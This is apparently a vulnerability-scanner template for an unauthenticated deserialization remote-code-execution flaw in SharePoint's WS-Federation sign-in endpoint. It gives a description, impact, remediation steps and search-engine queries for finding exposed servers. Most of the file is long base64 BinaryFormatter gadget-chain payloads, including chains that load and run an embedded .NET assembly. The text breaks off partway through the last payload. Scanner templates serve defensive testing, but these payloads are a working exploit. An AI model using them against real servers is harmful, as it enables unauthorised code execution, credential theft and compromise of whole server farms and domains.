Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE

id: CVE-2026-58644

info:
  name: Microsoft SharePoint Server - WS-Federation BinaryFormatter Deserialization RCE
  author: pdteam
  severity: critical
  description: |
    Microsoft SharePoint Server (2016, 2019, Subscription Edition <= 2026.3.1) contains a remote code execution vulnerability in the WS-Federation passive sign-in endpoint (/_trust/default.aspx). The SharePoint authentication module (SPFederationAuthenticationModuleV2) uses a deflate-only DeflateCookieTransform (no MAC/signature check) to decode and BinaryFormatter to deserialize the SecurityContextToken Cookie value in the wresult parameter without type restrictions. An unauthenticated attacker can send a crafted WS-Federation token containing a BinaryFormatter gadget chain (DataSet + LosFormatter + XamlAssemblyLoadFromFile) to execute arbitrary code in the context of the IIS application pool identity (w3wp.exe). The fix (KB5002882, July 2026 CU) replaces the DeflateCookieTransform with
    NotSupportedCookieTransform, making ReadToken() throw before deserialization.
  impact: |
    Unauthenticated attackers can achieve remote code execution as the SharePoint application pool identity (typically a domain service account). This enables full SharePoint farm compromise, machine key extraction for persistent forged authentication tokens, and lateral movement within the domain.
  remediation: |
    Apply the July 2026 Cumulative Update (KB5002882 / build 16.0.19725.20434 or later). After patching, rotate farm machine keys using Set-SPMachineKey or Update-SPMachineKey and perform iisreset to revoke any pre-compromise stolen keys. Enable AMSI request-body scanning for /_trust/default.aspx as defense in depth.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58644
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-58644
    - https://github.com/WismanSec/sharepoint-2026-poc
    - https://www.rapid7.com/blog/post/etr-cve-2026-58644-microsoft-sharepoint-server-unauthenticated-remote-code-execution-vulnerability-exploited-in-the-wild/
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58644
    cwe-id: CWE-502
    epss-score: 0.15873
    epss-percentile: 0.96701
  metadata:
    verified: true
    max-request: 2
    vendor: microsoft
    product: sharepoint_server
    shodan-query: http.component:"sharepoint"
    fofa-query: app="Microsoft-SharePoint"
  tags: cve,cve2026,sharepoint,rce,deserialization,microsoft,kev,vkev

variables:
  dataset_gadget_b64: 'AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0AgAAAAlYbWxTY2hlbWELWG1sRGlmZkdyYW0BAQIAAAAGAwAAAKEKPHhzOnNjaGVtYSB4bWxucz0iIiB4bWxuczp4cz0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiIHhtbG5zOm1zZGF0YT0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp4bWwtbXNkYXRhIiBpZD0ic29tZWRhdGFzZXQiPg0KICAgICAgICAgICAgICAgIDx4czplbGVtZW50IG5hbWU9InNvbWVkYXRhc2V0IiBtc2RhdGE6SXNEYXRhU2V0PSJ0cnVlIiBtc2RhdGE6VXNlQ3VycmVudExvY2FsZT0idHJ1ZSI+DQogICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjaG9pY2UgbWluT2NjdXJzPSIwIiBtYXhPY2N1cnM9InVuYm91bmRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHhzOmVsZW1lbnQgbmFtZT0iaGVoZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx4czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eHM6ZWxlbWVudCBuYW1lPSJwd24iIG1zZGF0YTpEYXRhVHlwZT0iU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uRGF0YS5TZXJ2aWNlcy5JbnRlcm5hbC5FeHBhbmRlZFdyYXBwZXJgMltbU3lzdGVtLldlYi5VSS5Mb3NGb3JtYXR0ZXIsIFN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhXSxbU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzVdXSwgU3lzdGVtLkRhdGEuU2VydmljZXMsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0iIHR5cGU9InhzOmFueVR5cGUiIG1pbk9jY3Vycz0iMCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpzZXF1ZW5jZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3hzOmNob2ljZT4NCiAgICAgICAgICAgICAgICAgICAgPC94czpjb21wbGV4VHlwZT4NCiAgICAgICAgICAgICAgICA8L3hzOmVsZW1lbnQ+DQogICAgICAgICAgICA8L3hzOnNjaGVtYT4GBAAAAMtHPGRpZmZncjpkaWZmZ3JhbSB4bWxuczptc2RhdGE9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206eG1sLW1zZGF0YSIgeG1sbnM6ZGlmZmdyPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOnhtbC1kaWZmZ3JhbS12MSI+DQogICAgICAgICAgICAgICAgPHNvbWVkYXRhc2V0Pg0KICAgICAgICAgICAgICAgICAgICA8aGVoZSBkaWZmZ3I6aWQ9IlRhYmxlIiBtc2RhdGE6cm93T3JkZXI9IjAiIGRpZmZncjpoYXNDaGFuZ2VzPSJpbnNlcnRlZCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8cHduIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZFdyYXBwZXJPZkxvc0Zvcm1hdHRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxFeHBhbmRlZEVsZW1lbnQvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8UHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE1ldGhvZE5hbWU+RGVzZXJpYWxpemU8L01ldGhvZE5hbWU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8TWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YW55VHlwZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4c2k6dHlwZT0ieHNkOnN0cmluZyI+SEFYPC9hbnlUeXBlPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9NZXRob2RQYXJhbWV0ZXJzPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJMb3NGb3JtYXR0ZXIiPjwvT2JqZWN0SW5zdGFuY2U+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvUHJvamVjdGVkUHJvcGVydHkwPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZMb3NGb3JtYXR0ZXJPYmplY3REYXRhUHJvdmlkZXI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3B3bj4NCiAgICAgICAgICAgICAgICAgICAgPC9oZWhlPg0KICAgICAgICAgICAgICAgIDwvc29tZWRhdGFzZXQ+DQogICAgICAgICAgICA8L2RpZmZncjpkaWZmZ3JhbT4L'

  internal_gadget_b64: '/wEy1jAAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAAAYHAAAAqiA8UmVzb3VyY2VEaWN0aW9uYXJ5CnhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iCnhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIgp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6cj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uUmVmbGVjdGlvbjthc3NlbWJseT1tc2NvcmxpYiIKeG1sbnM6aT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uSU87YXNzZW1ibHk9bXNjb3JsaWIiCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLklPLkNvbXByZXNzaW9uO2Fzc2VtYmx5PVN5c3RlbSIKPgogICA8czpBcnJheSB4OktleT0iZGF0YSIgeDpGYWN0b3J5TWV0aG9kPSJzOkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHM6U3RyaW5nPkg0c0lBQUFBQUFBRUFPMVd5MDljVlJqLzNXRm9oNkVRS0xXV3BOYUxVRU45M0F4bDhORVlTeG13WUhqSndORFlKbkJuNWdqWDNMbDNldThkaEM2MExqUTFNV3FpY2VmS1RSZGROS2JHeHNURWhWdVdibHp4QjVqb1ZoZmk3NXg3NXdGTVVqYW1pZUc3Yzc1enpuZSt4Kzg3ejVsNSt3dTBBSWl6N080Q0R4SFNLQjVOdDFrNm4vNnhFdy9hdHZzZWF0UGJmWXZybHErWFBYZk5NMHQ2d1hRY045RHpRdmNxam00NSt2aGNWaSs1UldGMGRDUUhJaC96RThDMDFvTHlxUS9YcTM1M0VPdHIxOXFCWXdnTDZadzAwR3ZBdWxRN0Z1SUc2clVDRlF1YkxSajlTS3JLWDcydVZZcCs2UWVXbzRUdnhwb2t1UXFjT01SY0hDRGlTelIwRSt4UE52U05RR3dHckFmaW9hN0tjMTk4aWxjTnovY0tpTEFSbzBvMHNWZVA0bEhERTdaYmlMQ3VScjVPSE5BYk80QXpXb2hKWmRLS1RRYWQ1b2JRRHBGaU0vbzZOa2pyNUNCaEp0MVd5WmhZMHFPN3N0ZEQ1aDVuOXprQ3liNDVwa1ZSSk15TnRKRXlobFBEUTY5S1NTdHM4ck1jN244ZnVNTjZRTGF6Z1djNWE3N1V1TWY4MHF6N2w3TFlpWVZyMm45MWFXcWM5Wi9zMzVEOU1kdk5SN2dvMHE2ZUF0cGs1Ky96d3pnZDVsaWRkdGsrM3RCdVVWYkpDT0V4WE1BejVEbThSTDVCbnNSZGZFUCtNM2tuL3NKdlNrK0x1UHk2OEtUS1JMYm5kU24vK0V4S2VleEdpamE5a0wwMnhmdndBR2ZKdDFrdW9FTjdGa1BvMVo2SGdYYTJEUFRnRXVLMzk4LzFWMmpZOXlwdXI2b2JaVDNFdDErbU1aY2F2VGJqRml1MmVCMmwwbEJ4Sk8zZk5JcTJqUW1VL0lMcjJWWWUyUzAvRUNYTTVkOFZoUUJHSVhDOVNHWXNWSnpBS2drajQ1YktsaTI4clBBMnJJTHdFUXJNd0hLZEJXR2JtNnJsWHdtNGZ2bEtJQkFaU2pVTzVTM2JDcmJxbzFVazFURExJby9KSUNoblhFZWRtalVSckdRcW5pZWNRTWtYaEYrbWU2RUdhcDNJT09QYU5vSEwrRWEyTEFxV2FWdTNSQkd6Wmtua1RMc2k2Z3JLZmxLWVJlSDU4Tm1la29tVHVxL2hSY3lpZ2dMM3BZQUY3YWtNOThJRXBSZTVmaGN4d3RZSWh2RXl2NVRhQmQ5K3Y1UzYzdmZaNUtmZk9kZG52dno4TFNSK3VIVWoxNXZlK2FSRmh4YlhOUzJSdUg5NTVZUHVYNU9YdURZbnUrTTZUajRoV1crckh0TTZPeE5hZE16UHlRMjBHRHU5N0pubFdkZVoyQ3lJc2tTN3VPNjU3L2t5MXUvOTllWHNyTjZUeldpZ21YQWw0M3JqdGoxaldrNjQ2RUtvTFNCcDl6eDlkVFd6T3FML0kybHFzYytFcitnZXVkeG5xU1p5U2ZMdHVEYktkNlBoL1pxT3lkczVoeXhXMUVsWllHc0tjenhGSzZ4bjhRYmJrbjZLLy9GUHM5Zm1jbFRMZTJ2L3N6eXVJdWRnd3FNZlM1M0pLVGg0QjY0YUgxQldpeHcxS2ZVNWJpS2duc3RlU1Bmajl6VHBJMHU1eHhFZS9TYWU3aWlkVk8xTEl5L25BQzhRa1ZiVEgyZnhlVE5JUCtVOWNYUTFaNGtHM1J5TFIrMjZUb3EzZTczd09rWUg5U1dHUU9rNnhHNXp2a3lVMkFkNWlTOUNrYmRObW41dTBxckk4ZkMwRGlwYzA5UmJVMVlaUmlsalN5RmJ3enFDQ05PNGlqRVh5YTBvUmhXamM2aFlhWlhYUEgyNGxNcWJNVGlRM2Y3Y1hsRTJWNmpoVTdQRTJiU0pUbitrM1JIOWg2U0gvNy8wOU9NR2NrU1BnLzRGQmVCNm53QU9BQUE9PC9zOlN0cmluZz4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9zOkFycmF5PgogICA8aTpNZW1vcnlTdHJlYW0geDpLZXk9ImlucHV0U3RyZWFtIj4KICAgICAgPHg6QXJndW1lbnRzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImRhdGEiPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvaTpNZW1vcnlTdHJlYW0+CiAgIDxjOkdaaXBTdHJlYW0geDpLZXk9Imd6aXBTdHJlYW0iPgogICAgICA8eDpBcmd1bWVudHM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iaW5wdXRTdHJlYW0iPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgICAgICAgIDxjOkNvbXByZXNzaW9uTW9kZT4wPC9jOkNvbXByZXNzaW9uTW9kZT4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9jOkdaaXBTdHJlYW0+CiAgIDxzOkFycmF5IHg6S2V5PSJidWYiIHg6RmFjdG9yeU1ldGhvZD0iczpBcnJheS5DcmVhdGVJbnN0YW5jZSI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHg6VHlwZSBUeXBlTmFtZT0iczpCeXRlIi8+CiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvczpBcnJheT4KICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0idG1wIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGd6aXBTdHJlYW19IiBNZXRob2ROYW1lPSJSZWFkIj4KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImJ1ZiI+PC9TdGF0aWNSZXNvdXJjZT4KICAgICAgICAgPHg6SW50MzI+MDwveDpJbnQzMj4KICAgICAgICAgPHg6SW50MzI+MzU4NDwveDpJbnQzMj4KICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJhc21Mb2FkIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHI6QXNzZW1ibHl9IiBNZXRob2ROYW1lPSJMb2FkIj4KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYnVmIj48L1N0YXRpY1Jlc291cmNlPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9InR5cGVzIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGFzbUxvYWR9IiBNZXRob2ROYW1lPSJHZXRUeXBlcyI+CiAgICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzLz4KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPgogICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZmlyc3RUeXBlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIHR5cGVzfSIgTWV0aG9kTmFtZT0iR2V0VmFsdWUiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHM6SW50MzI+MDwvczpJbnQzMj4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJjcmVhdGVJbnN0YW5jZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBmaXJzdFR5cGV9IiBNZXRob2ROYW1lPSJJbnZva2VNZW1iZXIiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDxyOkJpbmRpbmdGbGFncz41MTI8L3I6QmluZGluZ0ZsYWdzPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KPC9SZXNvdXJjZURpY3Rpb25hcnk+BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAADIAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAAWFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUGDgAAACBTeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcgYPAAAABVBhcnNlCRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAACJTeXN0ZW0uT2JqZWN0IFBhcnNlKFN5c3RlbS5TdHJpbmcpBhUAAAAiU3lzdGVtLk9iamVjdCBQYXJzZShTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=='

  internal_gadget2_b64: '/wEykEgAAQAAAP////8BAAAAAAAAAAQBAAAAO1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCxtc2NvcmxpYl1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAADgAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwDREYJoAAAAAAAAAADgAAIhCwELAAAGAAAABgAAAAAAAB4kAAAAIAAAAEAAAAAAABAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAgAAAAAIAAAAAAAADAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADEIwAAVwAAAABAAACoAgAAAAAAAAAAAAAAAAAAAAAAAABgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAACQEAAAAIAAAAAYAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAACoAgAAAEAAAAAEAAAACAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAABgAAAAAgAAAAwAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAACQAAAAAAABIAAAAAgAFAHggAABMAwAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACWAigDAAAKKAQAAApvBQAACm8GAAAKcgEAAHByEwAAcG8HAAAKKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAHAEAACN+AACIAQAAJAEAACNTdHJpbmdzAAAAAKwCAAA0AAAAI1VTAOACAAAQAAAAI0dVSUQAAADwAgAAXAAAACNCbG9iAAAAAAAAAAIAAAFHFAAACQAAAAD6JTMAFgAAAQAAAAYAAAACAAAAAQAAAAcAAAACAAAAAQAAAAMAAAAAAAoAAQAAAAAABgApACIABgBWADYABgB2ADYACgCoAJ0ACgDAAJ0ADgD5ANoAAAAAAAEAAAAAAAEAAQABABAAFwAAAAUAAQABAFAgAAAAAIYYMAAKAAEAEQAwAA4AGQAwAAoACQAwAAoAIQC0ABwAIQDNACEAKQANASYAMQAZASsALgALADEALgATADoABIAAAAAAAAAAAAAAAAAAAAAAlAAAAAQAAAAAAAAAAAAAAAEAGQAAAAAABAAAAAAAAAAAAAAAEwCdAAAAAAAE